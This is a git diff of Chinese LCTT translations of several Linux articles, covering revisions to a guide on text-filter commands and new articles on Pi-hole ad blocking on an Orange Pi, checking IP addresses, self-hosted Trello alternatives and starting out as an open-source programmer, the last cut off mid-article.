下面是 Linux 上的一些有用的文件或者文本过滤器。
### 1\. Awk 命令
### 1、 awk 命令
Awk 是一个卓越的模式扫描和处理语言,它可被用于在 Linux 下构造有用的过滤器。你可以通过阅读我们的 [Awk 系列从 1 到 13][7] 来开始使用它。
**awk** 是一个卓越的模式扫描和处理语言,它可被用于在 Linux 下构造有用的过滤器。你可以通过阅读我们的 [awk 系列 1 到 13 部分][7] 来开始使用它。
另外,也可以通过阅读 awk 的 man 手册来获取更多的信息和使用选项。
另外,也可以通过阅读 **awk** 的 man 手册来获取更多的信息和使用选项。
```
$ man awk
```
### 2\. Sed 命令
### 2、 sed 命令
sed 是一款为了过滤和转换文本的强大的流编辑器。我们已经写了两篇关于 sed 的有用的文章,你可以通过这儿来了解:
**sed** 是一款过滤和转换文本的强大的流编辑器。我们已经写了两篇关于 sed 的有用的文章,你可以通过这儿来了解:
1. [如何使用 GNU sed 命令在 Linux 下创建、编辑和处理文件][1]
2. [日常 Linux 系统管理员任务使用的 15 个有用的 sed 命令小贴士和技巧][2]
* [如何使用 GNU sed 命令在 Linux 下创建、编辑和处理文件][1]
* [日常 Linux 系统管理员任务使用的 15 个有用的 sed 命令小贴士和技巧][2]
sed 的 man 手册已经添加控制选项和说明:
@ -30,11 +30,11 @@ sed 的 man 手册已经添加控制选项和说明:
$ man sed
```
### 3\. Grep、 Egrep、 Fgrep、 Rgrep 命令行
### 3、 grep、 egrep、 fgrep、 rgrep 命令行
这些过滤器输出匹配指定模式的行。们从一个文件或者标准输入读取行,并且输出所有匹配的行,默认输出到标准输出。
这些过滤器输出匹配指定模式的行。们从一个文件或者标准输入读取行,并且输出所有匹配的行,默认输出到标准输出。
注意:主要的程序是 [grep][8],变化只是简单的类似于 [使用特殊的 grep 选项][9],如下所示(为了向后兼容性,它们依旧被使用):
**注意**:主程序是 [grep][8],这些变体与[使用特定的选项的 grep][9] 相同,如下所示(为了向后兼容性,它们依旧在使用):
```
$ egrep = grep -E
@ -51,11 +51,11 @@ tecmint@TecMint ~ $ cat /etc/passwd | grep "aronkilik"
aaronkilik:x:1001:1001::/home/aaronkilik:
```
你可以阅读更多的关于 [Linux 下的 grep、 egrep 和 fgrep 的差异?][10]。
[Linux 下的 grep、 egrep 和 fgrep 的差异?][10]中,你可以了解更多
### 4\. head 命令
### 4 head 命令
head 用于显示文件前面的部分,默认情况下它输出前面的 10 行。你可以使用 `-n` 标志来指定显示的行数:
**head** 用于显示文件前面的部分,默认情况下它输出前 **10** 行。你可以使用 `-n` 标志来指定显示的行数:
```
tecmint@TecMint ~ $ head /var/log/auth.log
@ -77,13 +77,13 @@ Jan 2 10:51:34 TecMint sudo: pam_unix(sudo:session): session opened for user ro
Jan 2 10:51:39 TecMint sudo: pam_unix(sudo:session): session closed for user root
```
学习如何 [搭配 tail 和 cat 命令使用 head 命令][11] 以便于在 Linux 下更有效的使用。
学习如何 [使用带有 tail 和 cat 命令的 head 命令][11],以便在 Linux 下更有效的使用。
### 5\. tail 命令
### 5 tail 命令
tail 输出一个文件的后面的部分默认10行。使用 `-n` 选项来指定显示的行数。
**tail** 输出一个文件的后面的部分(默认 **10** 行)。使用 `-n` 选项来指定显示的行数。
下面的命令将会输出指定文件的最后5行
下面的命令将会输出指定文件的最后 5 行:
```
tecmint@TecMint ~ $ tail -n 5 /var/log/auth.log
@ -94,7 +94,7 @@ Jan 6 13:01:27 TecMint sshd[1269]: Server listening on 0.0.0.0 port 22.
Jan 6 13:01:27 TecMint sshd[1269]: Server listening on :: port 22.
```
另外tail 有一个特殊的选项 `-f` ,可以 [实时查看一个文件的变化][12] (尤其是日志文件)。
另外,**tail** 有一个特殊的选项 `-f` ,可以 [实时查看一个文件的变化][12] (尤其是日志文件)。
下面的命令将会使你能够监控指定文件的变化:
@ -112,15 +112,15 @@ Jan 6 13:01:27 TecMint sshd[1269]: Server listening on 0.0.0.0 port 22.
Jan 6 13:01:27 TecMint sshd[1269]: Server listening on :: port 22.
```
通过阅读 tail 的 man 手册,获取使用手册和说明的完整列表
阅读 tail 的 man 手册,获取使用选项和说明的完整内容
```
$ man tail
```
### 6\. sort 命令
### 6 sort 命令
sort 用于文本文件和标准输入的行进行排序。
**sort** 用于将文本文件或标准输入的行进行排序。
下面是一个名为 domain.list 的文件的内容:
@ -150,20 +150,19 @@ windowsmint.com
windowsmint.com
```
你可以通过以下一些关于 sort 命令的有用的文章,以多种方式来使用 sort 命令
你可以有多种方式来使用 sort 命令,请参阅以下一些关于 sort 命令的有用的文章
1. [14 个关于 Linux sort 命令的有用的示例 第 1 部分][3]
2. [7 个有趣的 Linux sort 命令示例 第 2 部分][4]
3. [如何基于修改日期和时间来查找和排序文件][5]
4. [http://www.tecmint.com/sort-ls-output-by-last-modified-date-and-time/][6]
* [Linux 的 sort命令的14个有用的范例][3]
* [Linux 的 'sort'命令的七个有趣实例(二)][4]
* [如何基于修改日期和时间来查找和排序文件][5]
### 7\. uniq 命令
### 7 uniq 命令
uniq 命令用于报告或者忽略重复行,它从标准输入过滤行,并且把结果写到标准输出。
**uniq** 命令用于报告或者忽略重复行,它从标准输入过滤行,并且把结果写到标准输出。
一个输入流运行 sort 之后,你可以像下面的例子一样删除重复行
对一个输入流运行 `sort` 之后,你可以使用 `uniq` 删除重复行,如下例所示
为了显示行出现的数目,使用 `-c` 选项,如果对比的时候包含 `-i` 选项的话将会忽略大小写的差异
为了显示行出现的数目,使用 `-c` 选项,要在对比时忽略大小写的差异,使用 `-i` 选项
```
tecmint@TecMint ~ $ cat domains.list
@ -181,15 +180,15 @@ tecmint@TecMint ~ $ sort domains.list | uniq -c
1 windowsmint.com
```
通过阅读 uniq 的 man 手册来获取进一步的使用信息和选项:
通过阅读 `uniq` 的 man 手册来获取进一步的使用信息和选项:
```
$ man uniq
```
### 8\. fmt 命令行
### 8 fmt 命令行
fmt 是一款简单的优的文本格式化器,它重新格式化指定文件的段落,并且打印结果到标准输出。
**fmt** 是一款简单的优的文本格式化器,它重新格式化指定文件的段落,并且打印结果到标准输出。
以下是从文件 domain-list.txt 提取的内容:
@ -197,7 +196,7 @@ fmt 是一款简单的最优的文本格式化器,它重新格式化指定文
1.tecmint.com 2.news.tecmint.com 3.linuxsay.com 4.windowsmint.com
```
为了把上面的内容重新格式化成一个标准的清单,运行下面的命令,使用 `-w` 选项是用于定义最大行宽度:
为了把上面的内容重新格式化成一个标准的清单,运行下面的命令,使用 `-w` 选项定义最大行宽度:
```
tecmint@TecMint ~ $ cat domain-list.txt
@ -209,61 +208,60 @@ tecmint@TecMint ~ $ fmt -w 1 domain-list.txt
4.windowsmint.com
```
### 9\. pr 命令
### 9 pr 命令
pr 命令转换文本文件或者标准输入之后打印出来。例如在 Debian 系统上,你可以像下面这样显示所有的安装包:
**pr** 命令转换文本文件或者标准输入之后打印出来。例如在 **Debian** 系统上,你可以像下面这样显示所有的安装包:
```
$ dpkg -l
```
为了组织在页面和列中准备打印的列表,发出以下命令。
为了将要打印的列表在页面和列中组织好,使用以下命令。
```
tecmint@TecMint ~ $ dpkg -l | pr --columns 3 -l 20
2017-01-06 13:19 Page 1
Desired=Unknown/Install ii adduser ii apg
Desired=Unknown/Install ii adduser ii apg
| Status=Not/Inst/Conf- ii adwaita-icon-theme ii app-install-data
|/ Err?=(none)/Reinst-r ii adwaita-icon-theme- ii apparmor
||/ Name ii alsa-base ii apt
+++-=================== ii alsa-utils ii apt-clone
ii accountsservice ii anacron ii apt-transport-https
ii acl ii apache2 ii apt-utils
ii acpi-support ii apache2-bin ii apt-xapian-index
ii acpid ii apache2-data ii aptdaemon
ii add-apt-key ii apache2-utils ii aptdaemon-data
||/ Name ii alsa-base ii apt
+++-=================== ii alsa-utils ii apt-clone
ii accountsservice ii anacron ii apt-transport-https
ii acl ii apache2 ii apt-utils
ii acpi-support ii apache2-bin ii apt-xapian-index
ii acpid ii apache2-data ii aptdaemon
ii add-apt-key ii apache2-utils ii aptdaemon-data
2017-01-06 13:19 Page 2
ii aptitude ii avahi-daemon ii bind9-host
ii aptitude-common ii avahi-utils ii binfmt-support
ii apturl ii aview ii binutils
ii apturl-common ii banshee ii bison
ii archdetect-deb ii baobab ii blt
ii aspell ii base-files ii blueberry
ii aspell-en ii base-passwd ii bluetooth
ii at-spi2-core ii bash ii bluez
ii attr ii bash-completion ii bluez-cups
ii avahi-autoipd ii bc ii bluez-obexd
ii aptitude ii avahi-daemon ii bind9-host
ii aptitude-common ii avahi-utils ii binfmt-support
ii apturl ii aview ii binutils
ii apturl-common ii banshee ii bison
ii archdetect-deb ii baobab ii blt
ii aspell ii base-files ii blueberry
ii aspell-en ii base-passwd ii bluetooth
ii at-spi2-core ii bash ii bluez
ii attr ii bash-completion ii bluez-cups
ii avahi-autoipd ii bc ii bluez-obexd
.....
```
使用的标志如下:
其中,使用的标志如下:
1. `--column` 定义在输出中创建的列数。
2. `-l` 指定页面的长度(默认是 66 行)。
* `--column` 定义在输出中创建的列数。
* `-l` 指定页面的长度(默认是 66 行)。
### 10\. tr 命令行
### 10 tr 命令行
这个命令从标准输入转换或者删除字符,然后输出结果到标准输出。
使用 tr 的语法如下:
使用 `tr` 的语法如下:
```
$ tr options set1 set2
```
看一下下面的例子,在第一个命令,`set1( [:upper:] )` 代表指定输入字符的大小写(所有的大写字符)。
`set2([:lower:])` 代表期望结果字符的大小写。它和第二个例子做着类似的事情,转义字符 `\n` 表示在新的一行打印输出:
看一下下面的例子,在第一个命令,`set1( [:upper:] )` 代表指定输入字符的大小写(都是大写字符)。
`set2([:lower:])` 代表期望结果字符的大小写。第二个例子意思相似,转义字符 `\n` 表示在新的一行打印输出:
```
tecmint@TecMint ~ $ echo "WWW.TECMINT.COM" | tr [:upper:] [:lower:]
@ -272,9 +270,9 @@ tecmint@TecMint ~ $ echo "news.tecmint.com" | tr [:lower:] [:upper:]
NEWS.TECMINT.COM
```
### 11\. more 命令
### 11 more 命令
more 命令是一个有用的文件过滤器,创建基本上用于证书的查看。它在一页中如同格式化之后那样显示文件内容,用户可以通过按 [Enter] 来显示更多的信息。
**more** 命令是一个有用的文件过滤器,最初为查看证书而建。它一页页显示文件内容,用户可以通过按回车来显示更多的信息。
你可以像这样使用它来显示大文件:
@ -306,11 +304,11 @@ tecmint@TecMint ~ $ dmesg | more
--More--
```
### 12\. less 命令
### 12 less 命令
less 是和上面的 more 命令相反的一个命令,但是它提供了额外的特性,而且对于大文件,它会更快些。
**less** 是和上面的 **more** 命令相反的一个命令,但是它提供了额外的特性,而且对于大文件,它会更快些。
按照 more 命令相同的方式使用它:
按照 `more` 命令相同的方式使用它:
```
tecmint@TecMint ~ $ dmesg | less
@ -340,7 +338,7 @@ tecmint@TecMint ~ $ dmesg | less
:
```
学习为什么对于在 Linux 下进行有效的文件浏览, [lessmore 命令更快][14]。
学习为什么 Linux 下进行有效的文件浏览, [lessmore 命令更快][14]。
基本上就这些了,如果你还知道其他本文没有提供的 Linux 下[有用的文本过滤命令行工具][15],可以在下面的评论部分通知我们。
@ -356,18 +354,18 @@ via: http://www.tecmint.com/linux-file-operations-commands/
作者:[Aaron Kili][a]
译者:[yangmingming](https://github.com/yangmingming)
校对:[校对者ID](https://github.com/校对者ID)
校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://www.tecmint.com/author/aaronkili/
[1]:http://www.tecmint.com/sed-command-to-create-edit-and-manipulate-files-in-linux/
[1]:https://linux.cn/article-7161-1.html
[2]:http://www.tecmint.com/linux-sed-command-tips-tricks/
[3]:http://www.tecmint.com/sort-command-linux/
[4]:http://www.tecmint.com/linux-sort-command-examples/
[3]:https://linux.cn/article-5372-1.html
[4]:https://linux.cn/article-5373-1.html
[5]:http://www.tecmint.com/find-and-sort-files-modification-date-and-time-in-linux/
[6]:http://how%20to%20sort%20output%20of%20%E2%80%98ls%E2%80%99%20command%20by%20last%20modified%20date%20and%20time/
[7]:http://www.tecmint.com/category/awk-command/
[7]:https://linux.cn/article-7586-1.html
[8]:http://www.tecmint.com/12-practical-examples-of-linux-grep-command/
[9]:http://www.tecmint.com/linux-grep-commands-character-classes-bracket-expressions/
[10]:http://www.tecmint.com/difference-between-grep-egrep-and-fgrep-in-linux/

View File

@ -0,0 +1,76 @@
用 Pi-hole 和 Orange Pi 阻止家中所有设备上的广告
============================================================
你是否很恼火地发现你的浏览器、智能手机和平板上不装广告拦截器不行? 至少我是这样的。我家里有一些“智能”设备,但是它们似乎没有任何类型的广告拦截软件。 好了,我了解到 [Pi-hole][2] 是一个可以运行在树莓派板子上的广告拦截软件,它能在各种广告到达你的设备之前拦截它们。它允许你将任何域加入到黑名单或白名单,并且它有一个很好的仪表盘面板,可以让你深入了解你的家庭网络最常访问的域/网站、最活跃的设备和最常见的广告商。
Pi-hole 原本是运行在树莓派上的,但我想知道它能否在我运行 Armbian Linux 的廉价 Orange Pi 上运行。 好吧,它绝对可以!下面是我让 Pi-hole 能快速运行的方法。
### 安装 Pi-hole
安装 Pi-hole 是使用终端完成的,所以打开你的 Orange Pi 桌面上的终端或使用 ssh 连接。
因为需要下载软件,所以进入到一个你选定的目录,确保你有写入权限。像这样:
```
cd <your preferred directory>/
```
我没有选择 Pi-hole 主页上的“单条命令”安装方式。 我的意思是,他们在那条命令下面写着“用管道到 bash 可能是危险的”,本地安装“更安全”。所以,这里是我的本地安装步骤:
```
git clone --depth 1 https://github.com/pi-hole/pi-hole.git Pi-hole
cd Pi-hole/automated\ install/
./basic-install.sh
```
如果你没有以 root 用户身份登录,那么这个安装脚本将提示你输入密码,然后再继续。 如果需要,脚本将下载并安装一些必备的 Linux 软件包。接着它会显示一个红蓝界面,提示你回答有关如何配置 Pi-hole 的几个问题。以我的经验,直接接受默认值就可以了,我后来发现 Pi-hole 的 web 应用可以让你更改设置,比如 DNS 提供商。
该脚本将告诉你在图形界面和终端中 Pi-hole 的密码。 请记住该密码!
脚本还会告诉你 Pi-hole 的网址,应该像这样:
```
http://<your pis IP address>/admin
```
或者类似这样:
```
http://orangepipc/admin
```
输入 Pi-hole 密码,接着你会看到像下面这样的漂亮的仪表盘面板:
![Ph-hole](https://i1.wp.com/piboards.com/wp-content/uploads/2017/01/ph-hole.png?resize=640%2C532)
请记住更改家庭网络路由器上的 DNS 设置并使用你的 Orange Pi 的地址。 否则,广告不会被过滤!
上面的说明与 Pi-hole 网站提供的替代“安全”方法大致相同,尽管 Armbian 没有被列为官方支持的操作系统。我相信这些说明应该在树莓派或其他运行某种形式的基于 Debian 的 Linux 操作系统的 Pi 上工作。但是,我并没有测试这一点,所以期待听到你的经验(请给我留下简短的评论)。
### 思考和观察
运行 Pi-hole 一段时间,并研究了在 Pi-hole 面板上出现的信息后,我发现有很多我不知道的网络活动在进行,而它们并不都是我批准的活动。例如,有一些我不知道的关于游戏程序的“有趣”连接从我的孩子的设备上发出,还有社交网络程序显然一直在给我发送骚扰数据。总之,无论是否是无害流量,我很高兴减少了流量负载,即使仅减少了一点点……我的意思是,为什么我应该允许我不想要的或者不关心的应用程序和广告吃掉我的网络流量?好吧,现在他们被封锁了。
像这样为 Orange Pi 设置广告屏蔽很便宜、容易,限制一些不必要的流量在我的家庭网络中进出(特别是与孩子们相关的)使我感到放松多了。如果有兴趣,你可以看看我的上一篇文章,如何[轻松设置一个 Orange Pi][3],并使用下面的链接来查看 Orange Pi 是多么便宜。我相信这是一个值得的投资。
- Amazon 上的 Orange Pi (受益链接):  [Orange Pi PC Single Board Computer Quad Core ARM Cortex-A7 1GB DDR3 4K Decode][4]
- [AliExpress 上的 Orange Pi 商店][5] (受益链接)
更新:具有讽刺意味的是,如果你成功地按照这篇文章设置了 Pi-hole这个站点上s.click.aliexpress.com的受益链接会被屏蔽是否将它加入到白名单取决于你。
--------------------------------------------------------------------------------
via: http://piboards.com/2017/01/07/block-ads-on-all-your-devices-at-home-with-pi-hole-and-an-orange-pi/
作者:[MIKE WILMOTH][a]
译者:[geekpi](https://github.com/geekpi)
校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://piboards.com/author/piguy/
[1]:http://s.click.aliexpress.com/deep_link.htm?aff_short_key=N3VJQBY&dl_target_url=http://best.aliexpress.com
[2]:https://pi-hole.net/
[3]:http://piboards.com/2017/01/04/easy-set-up-orange-pi/
[4]:https://www.amazon.com/gp/product/B018W6OTIM/ref=as_li_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=B018W6OTIM&linkCode=as2&tag=piboards-20&linkId=ac292a536d58eabf1ee73e2c575e1111
[5]:http://s.click.aliexpress.com/e/bAMVj2R

View File

@ -0,0 +1,38 @@
小技巧:检查你本地及公共 IP 地址
===================
**你本地的 IP 地址:** **192.168.1.100**
上面是分配给你计算机上的内部硬件或虚拟网卡的本地/私有 IP 地址。根据你的 LAN 配置,上述 IP 地址可能是静态或动态的。
**如果你找不到上述任何地址,请在 Linux 上执行 `ifconfig``ip` 命令手动检查内部 IP 地址:**
```
# ifconfig | grep -w inet | awk '{ print $2}'
或者
# ip a s | grep -w inet | awk '{ print $2}'
```
**你公共的 IP 地址是:** **123.115.72.251**
上述地址是你的 Internet 服务提供商ISP为你分配的公共/外部 IP 地址。根据你与 ISP 的计划,它可能是动态的,这意味着它会在每次重启路由器后改变,它也可能是静态的,这意味着它将永远不会改变。
**如果你找不到上述任何地址,请在 Linux上 执行 `wget``curl` 命令手动检查你的公共IP地址**
```
# echo $(wget -qO - https://api.ipify.org)
或者
# echo $(curl -s https://api.ipify.org)
```
--------------------------------------------------------------------------------
via: https://linuxconfig.org/check-your-local-and-public-ip-address
作者:[Lubos Rendek][a]
译者:[geekpi](https://github.com/geekpi)
校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:https://linuxconfig.org/check-your-local-and-public-ip-address

View File

@ -0,0 +1,88 @@
4 个开源的可自行托管的 Trello 替代品
============================================================
Trello 是一个可视的团队协作平台,最近被 Atlassian 收购了这里我说的_最近_的意思是 2017 年 1 月 9 日,星期一。
我作为 DigitalOcean 社区作者的董事会成员之一,一直在使用 Trello ,并在几天前开始使用它来管理一个非营利组织的小团队项目。这是一个很好的软件,任何团队,包括那些并不 geek 的成员,都能舒适地使用它。
如果你喜欢 [Trello][6],但现在想要一个类似的软件,你可以自己托管,运行在自己的服务器上,我发现了四个你可以选择的工具。记住,我没有在我自己的服务器上安装其中任何一个,但从我收集的关于它们的信息上来看,我最可能使用的是 Kanboard 和 Restyaboard。
这是因为它们的安装要求很常见的。它们的安装过程也比较简单。Restyaboard 似乎有一个更好的 UI所以它可能是我的第一个选择虽然其中的一个要求Elasticsearch让我认为它对服务器的要求将比其它的更多。不管怎样我会很快发布尝试自己托管 Kanboard 和 Restyaboard 的文章,所以请经常回来看看。
在那之前,我发现的替代 Trello 的前四个选择是:
### Kanboard
除了自由且开源,看板功能还提供与第三方工具和服务(如 Amazon S3 Storage、Hipchat、Jabber、RabbitMQ、Slack 等的集成。Kanboard 可以安装在微软操作系统上,但要需要安装在自由开源组件之上,你需要以下内容:
* PHP >= 5.3.9
* MariaDB/MySQL、Postgres 或者 Sqlite
* Apache 或者 Nginx
* CentOS 6/7、 Debian 8、 FreeBSD 10 或者 Ubuntu 14.04/16.04
从对项目的一个非常粗略的评估UI 似乎不如本文中提到的其他工具靓丽。 如果改变主意不想自己托管,有一个有管理的或托管的 Kanboard 可供你注册。该项目的 GitHub 页面在 [https://github.com/kanboard/kanboard][8]。
![kanboard interface](http://linuxbsdos.com/wp-content/uploads/2017/01/kanboard-700x312.png "kanboard interface")
### Restyaboard
有靓丽的用户界面和从 Trello 导入数据的能力Restyaboard 是一个非常有吸引力的 Trello 替代品。安装要求似乎也不高;在你的服务器上安装 Restyaboard 你需要以下内容:
* PHP-FPM
* Postgres
* Nginx
* Elasticsearch
需求不多,而且有个脚本可在你的服务器上安装所有需要的组件,这使安装变得更简单。还有一个 AMI 可以用于在 Amazon AWS 上安装。对于 Docker 的粉丝,有一个非官方的 Docker 镜像可以用来运行 Restyaboard 容器。我不鼓励使用非官方 Docker 镜像运行 Docker 容器,但如果你想要试试,那会是一个选择。 项目的详细信息的 [GitHub page][9]。
![Restyaboard project management software](http://linuxbsdos.com/wp-content/uploads/2017/01/restyaboard-646x460.png "Restyaboard project management software")
### Taiga
部署好的 Taiga 由三个组件组成 - taiga-back后端/ api、taiga-front-dist前端、taiga-events - 每个都有自己的要求。一般来说,在你的服务器上安装 Taiga 你需要以下这些:
* Python >= 3.4
* PostgreSQL >= 9.3
* RabbitMQ可选项看是否需要异步提醒
* gcc 和开发头文件
* Ruby >= 2.1 (仅用于编译 sass
* NodeJS >= 5.0 npm、 gulp 和 bower 用于下载依赖和编译 coffeescript
安装要求似乎比其它的多一点,所以如果这是一个问题,有一个托管平台可以免费使用。该托管平台上的额外功能是收费的。有关详细信息,请访问项目的 [GitHub页面][1]。
![Taiga project management software](http://linuxbsdos.com/wp-content/uploads/2017/01/Taiga-700x440.jpg "Taiga project management software")
### Wekan
Wekan 是用 Meteor 构建的,这是一个用于构建 web 应用程序的 JavaScript 框架,托管在 [https://github.com/wekan/wekan][2]。 该项目提供了在 Heroku、Sandstorm 的一键安装,以及经过验证的 Docker 镜像上,以便在 Docker 容器上运行它。它也可以安装在 Scalingo、IndieHosters 和 Cloudron但我找不到部署在其他如 [Vultr][3] 和 [DigitalOcean][4] 的云托管提供商上的安装说明。
所以看来,你安装 Wekan 最简单的方式是使用一个支持的云托管平台。
![Wekan project management software](http://linuxbsdos.com/wp-content/uploads/2017/01/Wekan-700x363.jpeg "Wekan project management software")
如我之前承诺的,请稍后回来看看我发布的如何在你的服务器上安装 Kanboard 和 Restyaboard 指南。
### 更新
刚发布这篇文章,我就发现了 [Tuleap][5]。它似乎非常精美,但生产环境安装只支持 CentOS 6 和 Red Hat 6。支持使用 Docker 的容器化安装,但不推荐用于生产。
--------------------------------------------------------------------------------
via: http://linuxbsdos.com/2017/01/09/4-open-source-alternatives-to-trello-that-you-can-self-host/
作者:[linuxbsdos.com][a]
译者:[geekpi](https://github.com/geekpi)
校对:[jasminepeng](https://github.com/jasminepeng)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
[a]:http://linuxbsdos.com
[1]:https://github.com/taigaio/
[2]:https://github.com/wekan/wekan
[3]:http://www.vultr.com/?ref=6827794
[4]:https://www.digitalocean.com/?refcode=900fe177d075
[5]:https://www.tuleap.org/
[6]:https://trello.com/
[8]:https://github.com/kanboard/kanboard
[9]:https://github.com/RestyaPlatform/board

View File

@ -0,0 +1,148 @@
如何成为一名开源程序员
============================================================
![How to get started as an open source programmer](https://opensource.com/sites/default/files/styles/image-full-size/public/images/life/programming_keys.jpg?itok=_VDcN66X "How to get started as an open source programmer")
图片来源 : Zagrev [Flickr 网站][1] [CC BY-SA 2.0][2]。
科技世界的探索总是让我们兴奋不已。很多科技日新月异,你探索得越深远,你看到的世界就越广阔无穷,这就像是[一只驼一只的海龟][3]一样。因此,科技世界也像宇宙一样无穷无尽。如果你也渴望加入到推动技术世界发展的社区中,你应该如何开始呢?你要做的第一步是什么?以后应该怎么做?
首先,你得明白开源指的是开放软件源代码的意思。这个很好理解,但是“开源”这个词最近一段时间经常出现在我们身边,所以估计有时候大家都忘记了开源只是用来形容一种文化现象,而不是一家世界 500 强公司的名字。跟其它公司或组织不同的是,你不用去参加面试或填个申请表、注册表的方式来成为一名开源程序员。你需要做的就是**编程**,然后把代码共享出来,并且完全保证在任何情况下该代码都保持开放状态。
只需要这样,你就已经成为一名开源程序员了!
现在你有了目标,那么你为之奋斗的基础能力怎么样了?
### 技能树
你玩过 RPG 游戏吗?在那些游戏中就有关于线性“技能树”的概念。当你玩游戏时,你掌握了基本技能后,便会“升级”,并且获得新的技能,然后你使用这些新的技能再次“升级”到一个更高的等级,你又会得到更多新的技能。通过这样不断的升级,获取新技能,以让你的游戏角色变得更强大。
成为一个程序员有点像提升你的技能树等级。你掌握了一些基础的技术,在参与开源项目开发的过程中,你不断实践,直至自己的技术等级上升到一个新的层次,之后你又懂了一些新的技术,并在项目开发过程中不断实践,不断提升技术等级,然后你再沿着这个技能树不断成长,不断进步。
你会发现自己面临的不只一棵技能树。开源软件涉及到的技术比较多,包括很多参与者自身的优势、能力及兴趣爱好等。然而,有一些非常重要的技能有助于你成为一名伟大的程序员,不断的提高这些技能是成功参与到开源项目中的重要组成部分。
### 脚本编程
![Scroll--How to program ](https://opensource.com/sites/default/files/scroll.png "Scroll--How to program")
对于像 Linux 或 BSD 系统这样的 POSIX 系统而言,最大的优势之一就是在你每次使用电脑的过程中,你都有机会练习编程。如果你不知道如何开始编程,你可以从解决工作中的一些基本问题做起。想想你日常工作中有哪些重复性的工作,你可以通过编写脚本的方式来让它们自动执行。这一步非常简单,比如说批量转换文件格式或重置图片的大小、检查邮件,甚至是通过单击运行你最常用的五个应用程序。无论是什么任务,你可以花一些时间去编写脚本以让它们自动完成。
如果有些工作需要在控制终端下操作,那么你就可以编写脚本来完成。学习 bash 或 tsch 编程,把编写系统脚本作为你写代码和理解系统的工作原理的第一步。
### 系统管理
![Caesar head](https://opensource.com/sites/default/files/caesar_0.png "Caesar head")
从这一点来讲,你也可以转变成一个程序员,也可以整个跳到另外一个不同的技能树上:那就是系统管理工作。跟程序员比起来,这两个职业在技能上有一些相似(一个优秀的系统管理员应该有一些编程经验,并能够熟练使用 Python、Perl或者其它类似的编程言语来解决一些独特的问题而_程序员_指的是那些一直编写代码的人。
### 程序员
![Wizard hat--How to program](https://opensource.com/sites/default/files/pointy-hat.png "Wizard hat--How to program")
开源是学习编程技巧最好的方式:你可以查看其他人写的代码,从中借鉴他们的想法和技术,从他们的错误中学习,并跟自己写的代码进行对比以发现两者的优缺点;如果你是使用 Linux 或 BSD 操作系统,**整个**环境对你来说都是开放的,目之所及,随心所欲。
这就像旅游指南里所说的,随意行去。事实上你不大会去深入到一个项目的源代码中,但是如果这样的话,可以让你在某一时刻突然意识到自己会编程了。编程是一份很难的技术活,否则大家都可以从事编程工作了。
幸运的是,编程是有逻辑而结构化的,这些特性跟编程语言相关。你也许不会深入的去研究编程,但是你研究得越深,你懂的越多。
懂得如何控制以及让电脑自动执行任务是一回事,但是知道如何编写其它人想自动实现任务的代码,才能说明你已经真正进入到编程领域了。
### 精通多种编程语言
![Parrot--How to Program](https://opensource.com/sites/default/files/parrot-head.png "Parrot--How to Program")
所有的编程语言都旨在处理相同的任务:让计算机能够完成计算工作。选择一种编程语言时你得考虑以下几个因素,学编程的目的是什么,你所做的工作最常用的编程语言是什么,你最容易理解哪一种编程语言以及你的学习方式。
随便查下相关资料,你就可以了解编程语言的复杂性了,然后再根据自己的能力水平来决定先学习哪种编程语言。
选择编程语言的另一个方式是根据你的使用目的来决定,看看你身边的同事使用哪种编程语言。如果你是为了开发桌面环境的工具,你应该学习 C 语言和 Vala 语言,或者 C++ 语言。
总之,不要在各种编程语言之间不知所措。编程语言之间都是相通的。当你学好一种编程语言并能用它来解决工作中的一些实际问题的时候,你会发现学习另外一种编程语言更容易。毕竟,编程语言只是一些语法和相关规则的集合;学会一种编程语言后,再使用同样的方法去搞懂另外一种语言完全不是个事。
主要目的还是学会一种编程语言。选择一个比较适合自己或者你感兴趣的编程语言,或者是你的朋友在用的编程语言,或者是选择文档比较丰富,并且你理解起来也容易的编程语言,但是,最好是只关注并先学会其中的一种编程语言。
### 这是一个开源项目吗?
无论你是编程新手还是一个老司机,在你进入到开源新世界之前,你需要搞明白做开源软件的重要一点就是“开放源代码”。
最近一些厂商惯用的市场营销策略就是宣称他们的软件是开源的。然而,有些厂商只是发布了一个公共的 API 或者表示他们愿意接受其它开源用户提交的代码而已。“开源”这个词不是一个商标,并且也没有任何组织来决定怎么使用这个词。但是, Debian Linux 创造人 Ian Murdock 联合成立的[开放源代码促进会Open Source Initiative][4]对开源这个词进行了[定义][5](授权“允许软件被用户自由地使用、随意修改及分享”),并且被正式批准和[授予][6]许可证的软件才属于真正的开源软件。
给你的软件代码应用一个开源许可证,你就成为一名开源程序员了。恭喜你!
### 开源社区
![Community--How to program](https://opensource.com/sites/default/files/minions.png "Community--How to program")
咨询任何开源软件爱好者,他们会告诉你开源软件最关键的是人。没有积极的开源贡献者,软件开发就会中止。计算机需要用户、提交缺陷的人、设计师及程序员。
如果你想加入全球开源社区为开源软件做贡献,你同样需要成为该社区的一个成员,即使你并不善于社交也不要紧。这通常包括订阅邮件列表、加入 IRC 频道,或者在论坛里表现活跃,从最低级别开始。任何成熟的开源社区都已经存在了足够长的时间,见惯了来来往往的人们,所以,在你真正融入这个世界、在他们接纳你之前,你需要证明出你并非流星一逝般的过客,如果你想要做成一件大事,那就得有长期投身于其中的打算。
如果你只是想给他们提供一些小的帮助,这也是可以接受的。我自己也提交一些小的补丁到一些项目中,有时候项目管理者会觉得这个更新比较好,有时候他们也会拒绝我提交的代码补丁。但是,如果这个被拒绝的补丁对我很重要,我就会为我自己和客户维护它,并一直维护下去。
这就是参与到开源项目。
但是这些社区在哪里呢?这个跟开源项目有关。有些项目有专职的社区管理员,他们会把所有的社区参与者招集到一个打大家都能访问的地方。有些项目则围绕论坛运行,他们使用邮件列表,或者使用问题追踪器与参与者联系。找到这些开源社区对你来说也不是个事儿。
